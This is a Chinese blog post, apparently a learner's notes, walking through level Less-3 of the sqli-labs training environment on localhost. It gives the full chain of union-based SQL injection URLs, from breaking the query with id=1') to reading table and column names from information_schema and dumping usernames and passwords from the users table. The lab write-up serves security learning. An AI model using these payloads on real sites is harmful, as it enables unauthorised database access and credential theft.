从零记录sqli-labs学习过程 sqli-labs Less-3

原创已于 2022-03-28 12:02:56 修改 · 2.2k 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

于 2022-03-24 01:30:40 首次发布

本文记录了在sqli-labs的Less-3关卡中，通过观察报错信息和尝试在参数id后添加符号来执行SQL注入的基本流程，详细描述了解决此关的关键步骤。

sqli-labs Less-3

在这里插入图片描述

第三关界面，参数id

在这里插入图片描述

http://localhost/sqli-labs/Less-3/index.php?id=1'

看一下报错信息 check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1'

尝试在后面加上)

http://localhost/sqli-labs/Less-3/index.php?id=1') --+

在这里插入图片描述

没什么问题就像之前几关一样进入基本流程，截图省略

判断字段数：
http://localhost/sqli-labs/Less-3/index.php?id=1') order by 3 --+

判断回显位：
http://localhost/sqli-labs/Less-3/index.php?id=-1') union select 1,2,3 --+

获取当前数据库名称：
http://localhost/sqli-labs/Less-3/index.php?id=-1') union select 1,(select database()),3 --+

获取当前数据库字段：
http://localhost/sqli-labs/Less-3/index.php?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

获取users表字段：
http://localhost/sqli-labs/Less-3/index.php?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'  --+

获取username和password信息：
http://localhost/sqli-labs/Less-3/index.php?id=-1') union select 1,group_concat(username),group_concat(password) from users  --+

在这里插入图片描述

第三关完成

标签

#sql #web安全 #安全